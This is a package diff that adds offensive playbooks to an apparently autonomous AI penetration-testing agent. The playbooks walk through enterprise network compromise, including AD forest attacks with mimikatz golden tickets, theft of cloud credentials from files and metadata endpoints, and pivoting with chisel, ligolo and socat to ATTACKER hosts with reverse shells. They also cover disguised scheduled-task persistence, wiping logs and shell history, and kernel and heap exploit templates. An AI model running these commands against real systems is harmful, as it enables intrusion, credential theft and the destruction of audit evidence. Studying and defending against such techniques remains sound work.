pentesting 0.56.8 → 0.70.2

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+ # Enterprise Pentest — Internal Network Autonomous Assessment
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+
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+ > **§3 Minimal Specification**: This is a **Bootstrap Reference**, not a prescribed order.
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+ > Adapt based on `get_state`, attack graph observations, and live target behavior.
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+ > **Cross-ref**: ad-attack.md (AD attacks), pivoting.md (lateral movement), zero-day.md (C4)
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+
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+ ---
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+
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+ ## Core Principle
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+
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+ ```
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+ Enterprise environments = layered defense + network segmentation + centralized AD + cloud integration
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+
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+ Priority:
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+ 1. Map internal network first → identify segments, DCs, critical services
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+ 2. Maximize lateral movement with captured credentials
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+ 3. AD domain → Forest compromise for full privilege escalation
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+ 4. Cloud (AWS/Azure/GCP) pivoting to complete hybrid environment takeover
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+ ```
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+
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+ ---
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+
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+ ## Phase 1: Internal Network Enumeration (Immediately after foothold)
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+
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+ ```
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+ SEGMENT DISCOVERY (run immediately after first shell):
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+ ├── ip a / ifconfig → network interfaces + IP ranges
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+ ├── ip route / netstat -rn → routing table → internal subnet list
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+ ├── arp -a → directly connected hosts
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+ ├── cat /etc/hosts → internal hostname mappings
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+ └── cat /etc/resolv.conf → internal DNS server → domain enumeration base
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+
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+ ADJACENT SUBNET SCAN:
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+ nmap -sn 10.x.x.0/24
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+ for sub in $(seq 1 20); do nmap -sn 10.$sub.0.0/24; done
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+
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+ DNS ENUMERATION:
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+ dig axfr @internal_dns domain.corp
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+ dnsrecon -d corp.local -t axfr
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+ for i in $(seq 1 254); do host 10.x.x.$i; done | grep "domain name pointer"
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+ ```
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+
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+ ---
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+
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+ ## Phase 2: Critical Internal Service Discovery
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+
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+ ```
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+ CRITICAL SERVICES TO FIND:
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+ ┌─────────────────────────────────────────────────────────────────────┐
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+ │ Service Port Attack Vector │
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+ ├─────────────────────────────────────────────────────────────────────┤
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+ │ Active Directory DC 88/389/636 Kerberos/LDAP/LDAPS │
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+ │ SCCM/WSUS 8530/8531 Privilege escalation, malicious │
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+ │ update delivery │
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+ │ Exchange/Mail 25/443 Internal phishing, relay attacks │
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+ │ Corporate CA (ADCS) 80/443 ESC1~13 ADCS vulnerabilities │
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+ │ Jump Host/Bastion 22/3389 Lateral movement hub │
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+ │ Database servers 1433/3306/5432 Credential reuse + data dump │
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+ │ DevOps infra 8080/9000 Jenkins/SonarQube weak auth → │
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+ │ code execution │
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+ │ Cloud Metadata 169.254.169.254 IAM credential access │
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+ └─────────────────────────────────────────────────────────────────────┘
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+
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+ SCCM ATTACKS (Enterprise-specific):
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+ 1. net group "SMS Admins" /domain → SCCM administrator list
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+ 2. Extract SCCM NAA (Network Access Account) credentials
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+ 3. Tools: SCCMHunter, SharpSCCM
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+ web_search("SCCM attack lateral movement credential extraction {year}")
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+
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+ EXCHANGE ATTACKS:
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+ 1. ProxyShell/ProxyLogon: check CVE → run PoC
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+ 2. NTLM relay: responder + ntlmrelayx → capture Exchange auth
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+ 3. EWS (Exchange Web Services): ruler, EWSoauth
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+ ```
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+
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+ ---
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+
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+ ## Phase 3: AD Forest Attacks (after single domain compromise)
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+
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+ ```
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+ FOREST TRUST EXPLOITATION:
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+ ├── Discover trust relationships:
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+ │ nltest /domain_trusts
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+ │ PowerView: Get-DomainTrust
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+
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+ ├── SID History attack (cross-forest movement):
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+ │ - Current domain DA → target forest Enterprise Admin
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+ │ - mimikatz lsadump::trust /patch → extract trust key
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+ │ - kerberos::golden /user:Administrator /domain:corp.local
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+ │ /sid:S-1-5-21-... /sids:S-1-5-21-TARGET-519 /rc4:TRUSTKEY
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+
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+ ├── External Trust → Kerberoast across trust:
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+ │ Get-DomainUser -Domain external.corp -SPN
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+ │ Invoke-Kerberoast -Domain external.corp | Export-CSV
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+
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+ └── SID Filtering bypass:
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+ web_search("SID filtering bypass forest trust attack {year}")
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+
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+ ENTERPRISE ADMIN PATHS:
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+ 1. Achieve DA in all domains → target Enterprise Admin directly
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+ 2. Schema Admin path → AD schema modification
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+ 3. Corp CA (ADCS) ESC6/ESC8 → Enterprise Admin certificate
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+ ```
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+
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+ ---
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+
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+ ## Phase 4: Cloud Pivoting (Hybrid environments)
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+
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+ ```
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+ ON-PREM → CLOUD PIVOT:
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+
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+ Credential sources:
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+ env | grep -iE "aws|azure|gcp|secret|key|token"
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+ find / -name "*.env" -o -name "credentials" -o -name "*.pem" -o -name "*.json" 2>/dev/null
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+ cat ~/.aws/credentials ~/.azure/credentials ~/.config/gcloud/credentials.db
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+
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+ AWS ESCALATION:
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+ aws sts get-caller-identity → current identity
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+ aws iam list-attached-user-policies → current permissions
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+ aws iam list-roles → assumable roles
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+ aws sts assume-role --role-arn arn:... → privilege escalation
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+ → Goal: AdministratorAccess policy acquisition
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+ web_search("AWS privilege escalation IAM misconfiguration {year}")
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+
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+ AZURE ESCALATION:
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+ az login --use-device-code (or use stolen token)
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+ az account list → accessible subscriptions
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+ az vm list → VM inventory
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+ az keyvault secret list --vault-name ... → dump secrets
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+ Managed Identity → az role assignment list → check permissions
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+ web_search("Azure privilege escalation managed identity {year}")
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+
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+ GCP ESCALATION:
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+ gcloud auth list → authenticated accounts
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+ gcloud projects list → accessible projects
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+ gcloud iam service-accounts list → service account list
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+ gcloud compute instances list → VM inventory
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+ web_search("GCP privilege escalation service account {year}")
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+
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+ IMDS (Instance Metadata Service) attack:
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+ AWS: curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
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+ Azure: curl -H "Metadata:true" http://169.254.169.254/metadata/identity/oauth2/token
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+ GCP: curl "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token" \
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+ -H "Metadata-Flavor:Google"
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+ ```
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+
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+ ---
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+
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+ ## Phase 5: Long-term Persistence
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+
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+ ```
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+ ENTERPRISE PERSISTENCE (minimize detection risk):
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+ ├── Domain level: Golden Ticket (10-year validity) → exfiltrate krbtgt hash offline
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+ ├── Silver Ticket: service-specific TGS → permanent access to specific service
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+ ├── Scheduled task: schtasks /create /tn "WindowsUpdate" /tr ... /sc daily (disguised)
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+ ├── WMI persistence: wmic /namespace:\\root\subscription event handler
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+ └── Cloud: backdoor IAM user / Lambda trigger / Lambda persistence
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+
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+ EVIDENCE CLEANUP (post-detection):
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+ Windows: wevtutil cl System; wevtutil cl Security; wevtutil cl Application
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+ Linux: echo -n > /var/log/auth.log; history -c; unset HISTFILE
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+ Note: Log deletion itself is an IOC — minimal footprint is the guiding principle
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+ ```
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+
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+ ---
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+
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+ ## Search Patterns
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+
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+ ```
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+ web_search("enterprise pentest internal network lateral movement {year}")
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+ web_search("SCCM attack chain privilege escalation credential extraction {year}")
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+ web_search("AD forest trust attack SID filtering bypass Enterprise Admin {year}")
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+ web_search("cloud AWS Azure GCP privilege escalation IAM misconfiguration {year}")
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+ web_search("Exchange server ProxyShell ProxyLogon {version} exploit")
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+ ```
@@ -1,5 +1,9 @@
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  # Injection Attacks — Comprehensive Autonomous Guide
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+ > **§3 Minimal Specification**: This file is a **Bootstrap reference**, not a prescribed order.
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+ > Do NOT follow steps linearly. Use `get_owasp_knowledge`, `web_search`, and target observations
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+ > to decide what to test and in what order. Adapt dynamically — not to this list.
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+
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  > **Cross-ref**: web.md (web testing), evasion.md (bypass), payload-craft.md (mutation)
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  ## Core Principle
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  # Network Service Attacks — Comprehensive Autonomous Guide
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+ > **§3 Minimal Specification**: This file is a **Bootstrap reference**, not a prescribed order.
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+ > Do NOT follow steps linearly. Use `get_owasp_knowledge`, `web_search`, and target observations
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+ > to decide what to test and in what order. Adapt dynamically — not to this list.
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+
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  > **Cross-ref**: recon.md (discovery), exploit.md (exploitation), shells.md (getting shell)
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  ## Core Principle
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+ # Pivoting & Multi-Hop Tunneling — Autonomous Guide
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+
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+ > **Cross-ref**: lateral.md (movement), ad-attack.md (AD pivoting), network-svc.md (internal services)
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+
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+ ## Core Principle
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+
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+ Pivoting = using a compromised host as a relay to reach previously unreachable network segments.
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+ The agent on the **outer host** can only reach the **inner network** through a pivot chain.
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+
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+ ---
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+
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+ ## Pivot Decision Tree
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+
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+ ```
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+ GOT SHELL ON HOST? → Run immediately:
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+ ip a / ifconfig → list interfaces (look for 2+ NICs = pivot candidate)
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+ ip route / route -n → routing table (internal subnets)
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+ arp -a → visible hosts (discovered via ARP)
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+ cat /etc/hosts → hardcoded internal names
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+ netstat -an → internal listening services
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+ ss -tlnp → listening ports (Linux)
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+
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+ FOUND INTERNAL SUBNET (e.g. 10.10.100.0/24)?
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+ → Port scan via pivot: nmap through socks proxy or chisel
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+ → Identify services → exploit from outer agent via tunnel
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+
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+ FOUND INTERNAL HOST NAMES?
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+ → DNS resolution from pivot: dig @internal-DNS hostname
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+ → Look for: DC, DB, git, admin, intranet, mail
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+ ```
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+
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+ ---
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+
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+ ## Method 1: SSH Tunneling (if SSH available on pivot)
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+
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+ ```
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+ LOCAL PORT FORWARD — access pivot's localhost from attacker:
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+ ssh -L 8080:127.0.0.1:80 user@PIVOT
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+ → Now: http://localhost:8080 = http://PIVOT:80
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+
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+ REMOTE PORT FORWARD — expose attacker port through pivot:
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+ ssh -R 0.0.0.0:4444:127.0.0.1:4444 user@PIVOT
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+ → From PIVOT: nc attacker 4444 reaches attacker's local 4444
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+
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+ DYNAMIC SOCKS PROXY — route arbitrary traffic through pivot:
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+ ssh -D 1080 user@PIVOT
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+ → proxychains / nmap --proxies socks4://127.0.0.1:1080 INTERNAL_TARGET
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+
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+ MULTI-HOP (3 hops):
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+ ssh -J user@HOP1,user@HOP2 user@FINAL_TARGET
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+ ssh -L 8080:INTERNAL:80 -J user@HOP1 user@HOP2
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+ ```
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+
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+ ---
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+
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+ ## Method 2: Chisel (No SSH Required — TCP over HTTP)
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+
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+ ```
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+ ATTACKER SIDE (server):
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+ chisel server --port 8080 --reverse
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+
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+ PIVOT SIDE (client — upload chisel binary):
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+ chisel client ATTACKER:8080 R:socks → SOCKS5 on attacker:1080
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+ chisel client ATTACKER:8080 R:4444:10.10.100.5:22 → forward specific port
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+
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+ MULTI-HOP chisel:
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+ HOP1 connects to attacker → SOCKS on attacker:1080
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+ HOP2 connects to HOP1 via proxychains → SOCKS chain
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+
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+ USAGE with proxychains:
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+ echo "socks5 127.0.0.1 1080" >> /etc/proxychains4.conf
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+ proxychains nmap -sT -Pn -p 22,80,443,445,3389 10.10.100.0/24
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+ proxychains evil-winrm -i 10.10.100.5 -u admin -p pass
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+ ```
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+
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+ ---
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+
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+ ## Method 3: Ligolo-ng (Kernel TUN — fastest, cleanest)
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+
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+ ```
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+ ATTACKER (proxy):
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+ sudo ip tuntap add user $USER mode tun ligolo
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+ sudo ip link set ligolo up
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+ ./proxy -selfcert
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+
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+ PIVOT (agent — upload binary):
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+ ./agent -connect ATTACKER:11601 -ignore-cert
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+
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+ ATTACKER — after agent connects:
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+ session → select agent
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+ listener_add --addr 0.0.0.0:1234 --to 10.10.100.5:22 → port forward
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+ start → add route: sudo ip route add 10.10.100.0/24 dev ligolo
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+ → Now: ssh admin@10.10.100.5 directly (no proxychains!)
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+
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+ MULTI-HOP with ligolo:
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+ Agent on HOP1 → reach HOP2 network
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+ Upload agent to HOP2 → connect through ligolo listener on HOP1
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+ web_search("ligolo-ng double pivot setup multi-hop")
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+ ```
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+
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+ ---
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+
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+ ## Method 4: Metasploit Route / SOCKS
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+
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+ ```
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+ meterpreter session on pivot:
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+ background
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+ use post/multi/manage/autoroute
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+ set SESSION 1 → run
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+
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+ Then:
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+ use auxiliary/server/socks_proxy → set VERSION 5 → run
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+ → proxychains through Metasploit SOCKS on 127.0.0.1:1080
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+
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+ portfwd in meterpreter:
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+ portfwd add -l 3389 -p 3389 -r INTERNAL_HOST
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+ → rdesktop localhost:3389
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+ ```
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+
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+ ---
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+
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+ ## Method 5: Netcat / Socat Relay (No binary upload — abuse existing tools)
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+
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+ ```
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+ NETCAT RELAY (if mkfifo available):
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+ mkfifo /tmp/pipe
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+ nc -l -p 4444 < /tmp/pipe | nc INTERNAL_TARGET 22 > /tmp/pipe
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+
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+ SOCAT RELAY:
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+ socat TCP-LISTEN:4444,fork TCP:INTERNAL_TARGET:22
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+ → Persistent relay: socat TCP-LISTEN:4444,fork,reuseaddr TCP:TARGET:22
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+
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+ SOCAT SOCKS PROXY (if socat version supports it):
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+ socat TCP-LISTEN:1080,fork SOCKS4A:localhost:INTERNAL_HOST:PORT,socksport=1080
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+ ```
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+
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+ ---
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+
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+ ## Internal Network Scanning via Pivot
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+
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+ ```
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+ VIA PROXYCHAINS (any pivot method):
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+ proxychains nmap -sT -Pn -p 22,80,443,445,1433,3306,3389,5985,6379,8080 INTERNAL/24
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+ proxychains nmap -sT -Pn --top-ports 100 INTERNAL/24
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+
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+ BASH PING SWEEP (when no tools):
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+ for i in $(seq 1 254); do ping -c1 -W1 10.10.100.$i &>/dev/null && echo "10.10.100.$i UP"; done
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+
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+ BASH PORT SCAN (when no tools):
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+ for port in 22 80 443 445 3389 5985; do
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+ (echo >/dev/tcp/10.10.100.5/$port) 2>/dev/null && echo "$port OPEN"
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+ done
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+ ```
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+
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+ ---
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+
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+ ## Reverse Shell Through Pivot
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+
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+ ```
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+ DOUBLE PIVOT — get shell from deep internal host back to outside:
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+
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+ Method A: Chisel reverse
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+ Outer SOCKS → proxychains + outer listener
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+ Inner host connects outbound (if egress allowed):
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+ chisel client ATTACKER:8080 R:4445:127.0.0.1:4445
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+
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+ Method B: Meterpreter bind shell
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+ proxychains exploit/multi/handler (PAYLOAD: bind_tcp on INTERNAL_HOST)
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+ lhost=INTERNAL_HOST → proxychains connect inbound
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+
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+ Method C: SSH -R through existing session
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+ From inner host: ssh -R 9001:127.0.0.1:9001 pivot_user@PIVOT
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+ From attacker: nc PIVOT:9001
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+
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+ Reverse shell via proxy (if internal host has egress):
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+ → Set attacker IP as destination (should reach PIVOT, then routed back)
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+ → Verify connectivity: proxychains curl http://ATTACKER:8080/test
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+ ```
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+
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+ ---
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+
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+ ## Credential Spray Across Pivoted Networks
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+
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+ ```
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+ Once you have credentials from the outer network → always spray internally:
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+ proxychains crackmapexec smb 10.10.100.0/24 -u user -p pass --continue-on-success
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+ proxychains crackmapexec winrm 10.10.100.0/24 -u user -p pass
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+ proxychains impacket-psexec DOMAIN/user:pass@INTERNAL_HOST
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+
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+ Credential relay internally:
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+ proxychains impacket-ntlmrelayx -t INTERNAL_TARGET -smb2support
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+ Coerce auth from pivot: PetitPotam, PrinterBug, MS-RPRN
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+ ```
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+
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+ ---
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+
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+ ## Search Patterns
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+
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+ ```
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+ web_search("chisel multi-hop pivot {year}")
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+ web_search("ligolo-ng double pivot internal network")
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+ web_search("proxychains nmap internal network scanning")
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+ web_search("pivot {OS} tunneling no binary upload")
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+ web_search("reverse shell through pivot NAT traversal")
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+ ```
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  # Privilege Escalation — Comprehensive Autonomous Guide
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+ > **§3 Minimal Specification**: This file is a **Bootstrap reference**, not a prescribed order.
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+ > Do NOT follow steps linearly. Use `get_owasp_knowledge`, `web_search`, and target observations
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+ > to decide what to test and in what order. Adapt dynamically — not to this list.
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+
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  > **Cross-ref**: shells.md (shell access), post.md (post-exploitation), lateral.md (lateral movement)
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  ## Core Principle
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  # Binary Exploitation (Pwn) — Comprehensive CTF Guide
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+ > **§3 Minimal Specification**: This file is a **Bootstrap reference**, not a prescribed order.
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+ > Do NOT follow steps linearly. Use `get_owasp_knowledge`, `web_search`, and target observations
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+ > to decide what to test and in what order. Adapt dynamically — not to this list.
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+
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  > **Cross-ref**: exploit.md (shell strategy), evasion.md (bypass), shells.md (shell types)
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  ## Phase 0: Recon — Identify Protections
@@ -258,9 +262,54 @@ House Techniques (Named Patterns):
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  ├── House of Orange → forge unsorted bin chunk from top chunk
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  ├── House of Botcake → tcache + unsorted bin overlap (2.31+)
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  ├── House of Pig → largebin + tcache stashing → arbitrary write
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- ├── House of Banana → rtld_global abuse for exit-time RCE
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- ├── House of Kiwi _IO_FILE vtable abuse (2.35+)
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- └── house of XXX web_search("house of XXX heap exploitation")
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+
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+ ├── House of Banana (glibc 2.35+ — exit-time RCE via rtld_global):
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+ │ ├── Prerequisite: heap write primitive + libc/ld-linux base leak
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+ │ ├── Target: _rtld_global (ld.so global) → _dl_audit chain
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+ │ ├── Attack path:
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+ │ │ ├── 1. Leak ld.so base (via libc → _rtld_global symbol offset)
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+ │ │ │ ld_base = libc.address + libc.symbols['_rtld_global'] - ld.symbols['_rtld_global']
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+ │ │ ├── 2. Locate: _rtld_global._dl_ns[0]._ns_loaded → link_map ptr
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+ │ │ ├── 3. In link_map: l_audit_any_plt / l_auditing fields
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+ │ │ ├── 4. Forge fake link_map on heap:
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+ │ │ │ fake_lm = flat({0x28: heap_base + fake_lm_offset}) # l_next
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+ │ │ │ # at offset 0x340: pointer to fake audit struct
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+ │ │ ├── 5. Fake audit struct: ae_funcptr → system or one_gadget
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+ │ │ ├── 6. Trigger: call exit() or return from main → _dl_audit_preinit fires
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+ │ │ └── Template:
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+ │ │ from pwn import *
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+ │ │ # After leaks:
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+ │ │ rtld_global = ld.sym['_rtld_global']
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+ │ │ dl_ns = rtld_global # _dl_ns[0] at offset 0
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+ │ │ ns_loaded = dl_ns # _ns_loaded is first field
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+ │ │ # Write fake link_map → audit struct → funcptr = system
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+ │ │ # Details vary per binary — confirm struct offsets with gdb:
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+ │ │ # gdb: p &_rtld_global._dl_ns[0]._ns_loaded
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+ │ └── web_search("house of banana glibc 2.35 exploit script site:github.com")
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+
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+ ├── House of Kiwi (glibc 2.35+ — _IO_FILE vtable abuse without __free_hook):
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+ │ ├── Context: glibc 2.24+ removed __free_hook/__malloc_hook; vtable check added
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+ │ ├── Bypass: _IO_obstack_jumps / _IO_cookie_jumps are NOT checked (whitelisted)
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+ │ ├── Attack path A — _IO_flush via exit():
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+ │ │ ├── 1. Overwrite _IO_helper_jumps vtable (in _IO_obstack_jumps range)
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+ │ │ ├── 2. Corrupt _IO_2_1_stderr_ → vtable → _IO_obstack_jumps + offset
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+ │ │ ├── 3. Set wide_data / Bckp_base pointers → control RIP
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+ │ │ └── Trigger: fflush(stderr) or exit() → _IO_flush_all_lockp fires
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+ │ ├── Attack path B — _IO_cookie_write:
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+ │ │ ├── 1. Forge _IO_cookie_file struct on heap
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+ │ │ ├── 2. Set __io_functions.write = system (after pointer mangling)
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+ │ │ │ # glibc 2.32+ mangles fn ptr: stored = (fn >> 17) | (fn << 47) ^ key
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+ │ │ │ # key is at fs:0x30; leak it or use partial overwrite
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+ │ │ ├── 3. Trigger fwrite() to the fake cookie → write callback fires
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+ │ │ └── python:
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+ │ │ mangled = ror(system ^ cookie_key, 17, 64) # pwntools ror()
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+ │ ├── Pointer mangling (glibc 2.32+ IMPORTANT):
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+ │ │ ├── Function pointers in _IO structs are XOR-rotated before storage
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+ │ │ ├── Leak the key: read fs:0x30 (TLS pointer), or partial-overwrite
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+ │ │ └── Formula: stored = ROR64((fn ^ key), 17) → reverse: fn = ROL64(stored,17) ^ key
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+ │ └── web_search("house of kiwi IO_FILE vtable bypass glibc 2.35")
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+
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+ └── house of XXX → web_search("house of XXX heap exploitation site:github.com")
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  ═══════════════════════════════════════
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  Debugging heap with gdb:
@@ -409,3 +458,138 @@ Vulnerability → Exploitation Flow:
409
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  ├── SUID binary → exploit → get that user's privileges
410
459
  └── Server binary on port → connect and exploit live
411
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  ```
461
+
462
+ ## Kernel Exploitation — Deep Dive (Advanced Level)
463
+
464
+ ```
465
+ KERNEL SETUP & ENVIRONMENT:
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+ ├── Extract fs: binwalk -e bzImage / extract-vmlinux bzImage
467
+ ├── Run CTF qemu: qemu-system-x86_64 -kernel bzImage -initrd rootfs.cpio.gz
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+ │ -append "console=ttyS0 nokaslr" -m 128M -nographic
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+ ├── Debug: qemu + -s -S → gdb vmlinux → target remote :1234
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+ ├── Extract rootfs: mkdir rootfs && cd rootfs && cpio -idmv < ../rootfs.cpio.gz
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+ ├── Patch init to run as root / add your exploit binary
472
+ └── Repack: find . | cpio -H newc -o --owner root:root | gzip > rootfs.cpio.gz
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+
474
+ KERNEL PROTECTIONS:
475
+ ├── KASLR: base randomized → need kernel address leak
476
+ │ leaks: syslog (if dmesg allowed), /proc/kallsyms (if readable)
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+ │ spray addresses, or use physmap (when mmap_min_addr=0)
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+ ├── SMEP: can't execute userspace pages in kernel mode → kernel ROP only
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+ │ bypass: disable SMEP (clear bit 20 in CR4) via kernel gadget
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+ ├── SMAP: can't access userspace memory in kernel mode
481
+ │ bypass: disable SMAP (clear bit 21 in CR4) or use copy_from/to_user
482
+ ├── KPTI: separate page tables for user/kernel → flush on context switch
483
+ │ exploit: use KPTI trampoline swapgs_restore_regs_and_return_to_usermode
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+ │ (symbol in /proc/kallsyms or calculate from vmlinux)
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+ └── Stack Canary: same as user-space, leaked via info disclosure
486
+
487
+ KERNEL ROP CHAIN — ret2usr (when SMEP disabled):
488
+ ├── Control RIP via kernel overflow
489
+ ├── ROP: disable SMEP/SMAP → call userspace function pointer
490
+ │ mov cr4, <value_without_smep> ; ret
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+ ├── Userspace shellcode:
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+ │ void shell() {
493
+ │ commit_creds(prepare_kernel_cred(NULL)); // root creds
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+ │ // return to userspace:
495
+ │ asm("swapgs; iretq");
496
+ │ }
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+ └── Restore context: need original rip/cs/rflags/rsp/ss saved before exploit
498
+
499
+ COMMIT_CREDS PATTERN:
500
+ ├── commit_creds(prepare_kernel_cred(NULL)) → uid/gid = 0
501
+ ├── Addresses: grep in /proc/kallsyms (if readable) or vmlinux offsets
502
+ ├── Kernel ROP: pop rdi; ret → 0 → prepare_kernel_cred → pop rdi; ret →
503
+ │ rax (result) → commit_creds → recover_to_userspace
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+ └── After root: execve("/bin/sh") or system command
505
+
506
+ MODPROBE_PATH OVERWRITE (powerful, no SMEP bypass needed):
507
+ ├── When: have arbitrary kernel write primitive
508
+ ├── Steps:
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+ │ 1. Overwrite modprobe_path (/sbin/modprobe) with /tmp/pwn script
510
+ │ 2. /tmp/pwn: #!/bin/sh\n cp /flag /tmp/flag && chmod 777 /tmp/flag
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+ │ 3. Execute unknown file format → kernel calls modprobe_path
512
+ │ echo -ne '\xff\xff\xff\xff' > /tmp/bad; chmod +x /tmp/bad; /tmp/bad
513
+ │ 4. /tmp/flag now readable
514
+ └── Works even without executing shellcode (bypasses SMEP/NX)
515
+
516
+ KERNEL UAF → FUNCTION POINTER OVERWRITE:
517
+ ├── Typical flow:
518
+ │ 1. Allocate kernel object via ioctl / socket / open
519
+ │ 2. Free it (without destroying reference)
520
+ │ 3. Spray heap with controlled data (reclaim freed slot)
521
+ │ 4. Original pointer now points to attacker-controlled struct
522
+ │ 5. Function pointer called → code execution
523
+ ├── Heap spray: open many /proc or socket fds, read/send data
524
+ └── Object size: match target struct size for reliable reclaim
525
+
526
+ KERNEL RACE CONDITIONS (TOCTOU):
527
+ ├── Double-fetch: kernel reads userspace value twice, race between reads
528
+ ├── Concurrent ioctl/syscall: race window between check and use
529
+ ├── Exploitation: spin up threads, hammer concurrent syscalls
530
+ ├── Tools: race_condition keyword, userfaultfd for precise racing
531
+ └── web_search("kernel TOCTOU exploit userfaultfd technique")
532
+
533
+ USEFUL KERNEL PRIMITIVES:
534
+ ├── Arbitrary read: copy_from_user leak, info leak via syslog/proc
535
+ ├── Arbitrary write: kmalloc + controlled content + overflow/UAF
536
+ ├── Heap spray: open many /proc/self/mem, msg_msg (msgsnd), pipe buffers
537
+ ├── msg_msg: sendmsg to reclaim freed kernel object (kmalloc-N sized)
538
+ └── setxattr: arbitrary kernel heap write (controllable size + content)
539
+ ```
540
+
541
+ ## ROP Deep Patterns (Advanced)
542
+
543
+ ```
544
+ RET2DLRESOLVE — No libc file needed:
545
+ from pwn import *
546
+ elf = ELF('./binary')
547
+ rop = ROP(elf)
548
+ dlresolve = Ret2dlresolvePayload(elf, symbol="system", args=["/bin/sh"])
549
+ rop.read(0, dlresolve.data_addr) # write the fake structures
550
+ rop.ret2dlresolve(dlresolve)
551
+ # send: padding + rop.chain() + then dlresolve.payload
552
+
553
+ BLIND ROP (BROP) — No binary, only crash/non-crash:
554
+ ├── Goal: exploit a stack overflow with only socket feedback
555
+ ├── Step 1: Find overflow offset (binary search on payload length)
556
+ ├── Step 2: Find "stop gadget" (causes infinite loop, keeps connection)
557
+ ├── Step 3: Blindly probe for ROP gadgets (brop gadget is canonical)
558
+ │ ├── BROP gadget: pop rbx; pop rbp; pop r12; pop r13; pop r14; pop r15; ret
559
+ │ └── Dump PLT entries to find puts → dump binary from memory
560
+ ├── Step 4: Leak binary via puts over socket
561
+ ├── Step 5: Standard ROP exploit from dumped binary
562
+ └── web_search("blind rop brop exploit tutorial")
563
+
564
+ STACK PIVOT (when controlled buffer too small for full ROP):
565
+ ├── Gadget: xchg rsp, rax / leave; ret / pop rsp; ret
566
+ ├── Target: large controlled buffer (heap, data section, mmap)
567
+ ├── build full ROP chain there → pivot RSP to it
568
+ └── Common: fake frame on heap → leave; ret pivots there
569
+
570
+ SIGROP / SROP in depth:
571
+ ├── Abuses sigreturn syscall (15 on x86_64) to set ALL registers
572
+ ├── syscall; ret → rax=15 → sigreturn → kernel restores all regs from stack frame
573
+ ├── Full SigreturnFrame:
574
+ │ frame = SigreturnFrame()
575
+ │ frame.rip = execve_syscall_addr # or any gadget
576
+ │ frame.rsp = rsp # controlled stack
577
+ │ frame.rax = 59 # SYS_execve
578
+ │ frame.rdi = binsh_addr
579
+ │ frame.rsi = frame.rdx = 0
580
+ ├── Useful when: very few gadgets, only syscall; ret available
581
+ └── orw shellcode path when execve blocked by seccomp
582
+
583
+ SECCOMP BYPASS:
584
+ ├── Check: seccomp-tools dump ./binary → see allowed syscalls
585
+ │ seccomp-tools asm → assemble BPF filters
586
+ ├── Common CTF: execve blocked → use open+read+write (ORW)
587
+ │ fd = open("flag.txt", O_RDONLY)
588
+ │ read(fd, buf, 0x100)
589
+ │ write(1, buf, 0x100)
590
+ ├── Shellcraft: shellcraft.open() + shellcraft.read(3,'rsp',100) + shellcraft.write(1,'rsp',100)
591
+ ├── Filter bypass: if using 32-bit mode (ptrace SECCOMP allows different arch)
592
+ │ int 0x80 in 64-bit process: uses 32-bit syscall numbers!
593
+ │ open=5 (32-bit) may not be filtered if filter only blocks 64-bit open=2
594
+ └── web_search("seccomp bypass technique {year} CTF")
595
+ ```
@@ -1,5 +1,9 @@
1
1
  # Shell Operations — Comprehensive Autonomous Guide
2
2
 
3
+ > **§3 Minimal Specification**: This file is a **Bootstrap reference**, not a prescribed order.
4
+ > Do NOT follow steps linearly. Use `get_owasp_knowledge`, `web_search`, and target observations
5
+ > to decide what to test and in what order. Adapt dynamically — not to this list.
6
+
3
7
  > **Cross-ref**: exploit.md (initial access), post.md (post-exploitation), lateral.md (pivoting)
4
8
 
5
9
  ## Core Principle